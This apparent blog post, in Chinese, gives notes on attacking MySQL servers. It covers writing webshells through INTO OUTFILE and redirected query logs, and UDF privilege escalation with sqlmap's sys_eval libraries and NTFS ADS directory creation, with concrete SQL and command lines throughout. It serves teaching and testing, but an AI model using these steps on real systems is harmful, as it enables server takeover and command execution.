1、通过将sql语句导出文件的方式(备份)
mysql5.5以上默认,secure_file_priv为null,secure_file_priv=null 表示所有文件路径均不允许导出。
'空'可任意导出,值应该设置为什么都没有(删除)才能消除mysql自身的写拦截。
/tmp指定路径导出
对web目录是否有写权限
mysql root
linux root
中间件 www-data
假设联合查询
select 1,2,'' into outfile "web根目录绝对路径";
非联合查询(报错、盲注)
select * from users where id=1 into outfile 'C:\cnmdb2.php' lines terminated by 'php代码(也可写 16进制)';
2、普通日志导出
原理:更改默认日志路径导出webshell
3、慢查询写shell
为什么要用慢查询写呢?上边说过开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错
udf提权
udf(user defined function),用户自定函数,win/lin环境下均可使用,使用动态链接库.dll或.so,放置对应 文件到mysql安装目录中\lib\plugin目录下 一般来说lib目录和plugin目录需要用户自建(高版本无lib\plugin目录),也可使用NTFS流创建,在数据 库中加载动态连接库中的sys_eval或sys_exec函数即可执行操作系统命令。 通过自定义mysql函数,对mysql的功能进行扩充,添加的函数可以像mysql的内置函数一样被调用执 行,mysql的用户自定义函数存放mysql根目下的/mysql/lib/plugin里面,这里面存储着mysql的动态 链接库文件。我们将自定义的库文件放进去后,还要在mysql中执行create FUNVTION function_name RETURNS STRING SONAME 'udf.dll' 命令将该库文件中的函数导入,才能使用该函数,就像python里面 的导入模块、方法一样。
1.1 条件
①动态连接库文件
这个udf.dll 不需要我们自己编写,可以利用sqlmap\msf等工具为我们提供的。
②shell
进行udf提权的前提是我们已经获得了一个网站的webshell或数据库的权限
③高权限dbms账户
获得webshell后,我们需要在网站的一些敏感文件里面寻找数据库文件的用户名密码,如像config.php connect.php这类文件。
④对数据库插件目录的写权限
1.2 动态链接库文件获取
我们从两个地方获取动态链接库文件
sqlmap
/usr/share/sqlmap/data/udf/mysql/linux/64/
sqlmap中的四个动态链接库文件是加过密的,需要在/sqlmap/extra/cloak目录下执行下面命令才能生 效。
python .\cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o linux_udf_64.so metesploit
/usr/share/metasploit-framework/data/exploits/mysql
1.3 查看插件目录位置
我的试验环境kali的目录为/usr/lib/x86_64-linux-gun/mariadb19/plugin
也可以通过在sqlshell中执行
select @@plugin_dir
插件目录默认是不存在的,需要我们手动创建,但是sql用户往往并不具备创建文件夹的权限,故在 windows系统下,可以通过ads备份文档流的方式绕过。linux系统就狗带
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录
1.4 动态连接库文件导入
我只是在本机上验证这种方法是否有效,所以没有模拟真实网络环境,真实环境是需要通过sqlshell创建 文件,将我们的so文件内容写道文件中去的。这里我们直接将动态链接库文件复制到插件目录
1.5 将函数导入mysql
create function sys_eval returns string soname '插件文件名称'
查看命令执行效果
可以看到成功执行了系统命令
1、在windows环境下当mysql版本>5.2时,udf的导出路径为,%MySQL%\Lib\Plugin\,且默认无此目 录,可尝试适用ntfs创建目录。
select ‘xxx’into outfile "mysql目录\lib::$INDEX_ALLOCATION";//使用ntfs创建目录
select ‘xxx’into outfile "mysql目录\lib\plugin::$INDEX_ALLOCATION"
然后以导出日志形式将dll文件导出至\lib\plugin目录
select * from users where id=1 into outfile 'C:\mysql\lib\plugin\test.dll' lines terminated by 'shellcode[udf]';
2、在数据库权限比中间件权限高的情况下使用udf提权。最终权限为数据库权限。
标签:文件,lib,plugin,数据库,提权,udf,mysql,目录 From: https://blog.csdn.net/A526847/article/details/139221428